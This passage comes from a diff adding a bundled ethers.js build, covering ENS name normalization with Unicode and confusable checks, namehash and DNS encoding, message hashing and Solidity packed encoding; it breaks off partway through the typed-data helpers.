'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQUvBdALFAsVDPcNBw13DYcOMA4xDjMB4BllHI0B2grbAMDpHLkQ7QHVAPRNQQFnGRUEg0yEB2uaJF8AJpIBpob5AERSMAKNoAXqaQLUBMCzEiACnwRZEkkVsS7tANAsBG0RuAQLEPABv9HICTUBXigPZwRBApMDOwAamhtaABqEAY8KvKx3LQ4ArAB8UhwEBAVSagD8AEFZADkBIadVj2UMUgx5Il4ANQC9AxIB1BlbEPMAs30CGxlXAhwZKQIECBc6EbsCoxngzv7UzRQA8M0BawL6ZwkN7wABAD33OQRcsgLJCjMCjqUChtw/km+NAsXPAoP2BT84PwURAK0RAvptb6cApQS/OMMey5HJS84UdxpxTPkCogVFITaTOwERAK5pAvkNBOVyA7q3BKlOJSALAgUIBRcEdASpBXqzABXFSWZOawLCOqw//AolCZdvv3dSBkEQGyelEPcMMwG1ATsN7UvYBPEGOwTJH30ZGQ/NlZwIpS3dDO0m4y6hgFoj9SqDBe1L9DzdC01RaA9ZC2UJ4zpjgU4DIQENIosK3Q05CG0Q8wrJaw3lEUUHOQPVSZoApQcBCxEd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g'; + +// https://unicode.org/reports/tr15/ +// for reference implementation +// see: /derive/nf.js + + +// algorithmic hangul +// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144) +const S0 = 0xAC00; +const L0 = 0x1100; +const V0 = 0x1161; +const T0 = 0x11A7; +const L_COUNT = 19; +const V_COUNT = 21; +const T_COUNT = 28; +const N_COUNT = V_COUNT * T_COUNT; +const S_COUNT = L_COUNT * N_COUNT; +const S1 = S0 + S_COUNT; +const L1 = L0 + L_COUNT; +const V1 = V0 + V_COUNT; +const T1$1 = T0 + T_COUNT; + +function unpack_cc(packed) { + return (packed >> 24) & 0xFF; +} +function unpack_cp(packed) { + return packed & 0xFFFFFF; +} + +let SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP; + +function init$1() { + //console.time('nf'); + let r = read_compressed_payload(COMPRESSED); + SHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted + EXCLUSIONS = new Set(read_sorted(r)); + DECOMP = new Map(); + RECOMP = new Map(); + for (let [cp, cps] of read_mapped(r)) { + if (!EXCLUSIONS.has(cp) && cps.length == 2) { + let [a, b] = cps; + let bucket = RECOMP.get(a); + if (!bucket) { + bucket = new Map(); + RECOMP.set(a, bucket); + } + bucket.set(b, cp); + } + DECOMP.set(cp, cps.reverse()); // stored reversed + } + //console.timeEnd('nf'); + // 20230905: 11ms +} + +function is_hangul(cp) { + return cp >= S0 && cp < S1; +} + +function compose_pair(a, b) { + if (a >= L0 && a < L1 && b >= V0 && b < V1) { + return S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT; + } else if (is_hangul(a) && b > T0 && b < T1$1 && (a - S0) % T_COUNT == 0) { + return a + (b - T0); + } else { + let recomp = RECOMP.get(a); + if (recomp) { + recomp = recomp.get(b); + if (recomp) { + return recomp; + } + } + return -1; + } +} + +function decomposed(cps) { + if (!SHIFTED_RANK) init$1(); + let ret = []; + let buf = []; + let check_order = false; + function add(cp) { + let cc = SHIFTED_RANK.get(cp); + if (cc) { + check_order = true; + cp |= cc; + } + ret.push(cp); + } + for (let cp of cps) { + while (true) { + if (cp < 0x80) { + ret.push(cp); + } else if (is_hangul(cp)) { + let s_index = cp - S0; + let l_index = s_index / N_COUNT | 0; + let v_index = (s_index % N_COUNT) / T_COUNT | 0; + let t_index = s_index % T_COUNT; + add(L0 + l_index); + add(V0 + v_index); + if (t_index > 0) add(T0 + t_index); + } else { + let mapped = DECOMP.get(cp); + if (mapped) { + buf.push(...mapped); + } else { + add(cp); + } + } + if (!buf.length) break; + cp = buf.pop(); + } + } + if (check_order && ret.length > 1) { + let prev_cc = unpack_cc(ret[0]); + for (let i = 1; i < ret.length; i++) { + let cc = unpack_cc(ret[i]); + if (cc == 0 || prev_cc <= cc) { + prev_cc = cc; + continue; + } + let j = i-1; + while (true) { + let tmp = ret[j+1]; + ret[j+1] = ret[j]; + ret[j] = tmp; + if (!j) break; + prev_cc = unpack_cc(ret[--j]); + if (prev_cc <= cc) break; + } + prev_cc = unpack_cc(ret[i]); + } + } + return ret; +} + +function composed_from_decomposed(v) { + let ret = []; + let stack = []; + let prev_cp = -1; + let prev_cc = 0; + for (let packed of v) { + let cc = unpack_cc(packed); + let cp = unpack_cp(packed); + if (prev_cp == -1) { + if (cc == 0) { + prev_cp = cp; + } else { + ret.push(cp); + } + } else if (prev_cc > 0 && prev_cc >= cc) { + if (cc == 0) { + ret.push(prev_cp, ...stack); + stack.length = 0; + prev_cp = cp; + } else { + stack.push(cp); + } + prev_cc = cc; + } else { + let composed = compose_pair(prev_cp, cp); + if (composed >= 0) { + prev_cp = composed; + } else if (prev_cc == 0 && cc == 0) { + ret.push(prev_cp); + prev_cp = cp; + } else { + stack.push(cp); + prev_cc = cc; + } + } + } + if (prev_cp >= 0) { + ret.push(prev_cp, ...stack); + } + return ret; +} + +// note: cps can be iterable +function nfd(cps) { + return decomposed(cps).map(unpack_cp); +} +function nfc(cps) { + return composed_from_decomposed(decomposed(cps)); +} + +const HYPHEN = 0x2D; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED$1); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return ESCAPE.has(cp); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + cps.length = pos; // truncate + } + } + return emoji; +} + +const Zeros = new Uint8Array(32); +Zeros.fill(0); +function checkComponent(comp) { + assertArgument(comp.length !== 0, "invalid ENS name; empty component", "comp", comp); + return comp; +} +function ensNameSplit(name) { + const bytes = toUtf8Bytes(ensNormalize(name)); + const comps = []; + if (name.length === 0) { + return comps; + } + let last = 0; + for (let i = 0; i < bytes.length; i++) { + const d = bytes[i]; + // A separator (i.e. "."); copy this component + if (d === 0x2e) { + comps.push(checkComponent(bytes.slice(last, i))); + last = i + 1; + } + } + // There was a stray separator at the end of the name + assertArgument(last < bytes.length, "invalid ENS name; empty component", "name", name); + comps.push(checkComponent(bytes.slice(last))); + return comps; +} +/** + * Returns the ENS %%name%% normalized. + */ +function ensNormalize(name) { + try { + if (name.length === 0) { + throw new Error("empty label"); + } + return ens_normalize(name); + } + catch (error) { + assertArgument(false, `invalid ENS name (${error.message})`, "name", name); + } +} +/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +function isValidName(name) { + try { + return (ensNameSplit(name).length !== 0); + } + catch (error) { } + return false; +} +/** + * Returns the [[link-namehash]] for %%name%%. + */ +function namehash(name) { + assertArgument(typeof (name) === "string", "invalid ENS name; not a string", "name", name); + assertArgument(name.length, `invalid ENS name (empty label)`, "name", name); + let result = Zeros; + const comps = ensNameSplit(name); + while (comps.length) { + result = keccak256(concat([result, keccak256((comps.pop()))])); + } + return hexlify(result); +} +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +function dnsEncode(name, _maxLength) { + const length = (_maxLength != null) ? _maxLength : 63; + assertArgument(length <= 255, "DNS encoded label cannot exceed 255", "length", length); + return hexlify(concat(ensNameSplit(name).map((comp) => { + assertArgument(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, "name", name); + const bytes = new Uint8Array(comp.length + 1); + bytes.set(comp, 1); + bytes[0] = bytes.length - 1; + return bytes; + }))) + "00"; +} + +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +function hashMessage(message) { + if (typeof (message) === "string") { + message = toUtf8Bytes(message); + } + return keccak256(concat([ + toUtf8Bytes(MessagePrefix), + toUtf8Bytes(String(message.length)), + message + ])); +} +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +function verifyMessage(message, sig) { + const digest = hashMessage(message); + return recoverAddress(digest, sig); +} + +const regexBytes = new RegExp("^bytes([0-9]+)$"); +const regexNumber = new RegExp("^(u?int)([0-9]*)$"); +const regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); +function _pack(type, value, isArray) { + switch (type) { + case "address": + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(getAddress(value)); + case "string": + return toUtf8Bytes(value); + case "bytes": + return getBytes(value); + case "bool": + value = (!!value ? "0x01" : "0x00"); + if (isArray) { + return getBytes(zeroPadValue(value, 32)); + } + return getBytes(value); + } + let match = type.match(regexNumber); + if (match) { + let signed = (match[1] === "int"); + let size = parseInt(match[2] || "256"); + assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, "invalid number type", "type", type); + if (isArray) { + size = 256; + } + if (signed) { + value = toTwos(value, size); + } + return getBytes(zeroPadValue(toBeArray(value), size / 8)); + } + match = type.match(regexBytes); + if (match) { + const size = parseInt(match[1]); + assertArgument(String(size) === match[1] && size !== 0 && size <= 32, "invalid bytes type", "type", type); + assertArgument(dataLength(value) === size, `invalid value for ${type}`, "value", value); + if (isArray) { + return getBytes(zeroPadBytes(value, 32)); + } + return value; + } + match = type.match(regexArray); + if (match && Array.isArray(value)) { + const baseType = match[1]; + const count = parseInt(match[2] || String(value.length)); + assertArgument(count === value.length, `invalid array length for ${type}`, "value", value); + const result = []; + value.forEach(function (value) { + result.push(_pack(baseType, value, true)); + }); + return getBytes(concat(result)); + } + assertArgument(false, "invalid type", "type", type); +} +// @TODO: Array Enum +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPacked(types, values) { + assertArgument(types.length === values.length, "wrong number of values; expected ${ types.length }", "values", values); + const tight = []; + types.forEach(function (type, index) { + tight.push(_pack(type, values[index])); + }); + return hexlify(concat(tight)); +} +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPackedKeccak256(types, values) { + return keccak256(solidityPacked(types, values)); +} +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +function solidityPackedSha256(types, values) { + return sha256(solidityPacked(types, values)); +} + +//import { TypedDataDomain, TypedDataField } from "@ethersproject/providerabstract-signer"; +const padding = new Uint8Array(32); +padding.fill(0); +const BN__1 = BigInt(-1); +const BN_0$3 = BigInt(0); +const BN_1$1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +function hexPadRight(value) { + const bytes = getBytes(value); + const padOffset = bytes.length % 32; + if (padOffset) { + return concat([bytes, padding.slice(padOffset)]); + } + return hexlify(bytes); +} +const hexTrue = toBeHex(BN_1$1, 32); +const hexFalse = toBeHex(BN_0$3, 32); +const domainFieldTypes = { + name: "string", + version: "string", + chainId: "uint256", + verifyingContract: "address", + salt: "bytes32" +}; +const domainFieldNames = [ + "name", "version", "chainId", "verifyingContract", "salt" +]; +function checkString(key) { + return function (value) { + assertArgument(typeof (value) === "string", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value); + return value; + }; +} +const domainChecks = { + name: checkString("name"), + version: checkString("version"), + chainId: function (_value) { + const value = getBigInt(_value, "domain.chainId"); + assertArgument(value >= 0, "invalid chain ID", "domain.chainId", _value); + if 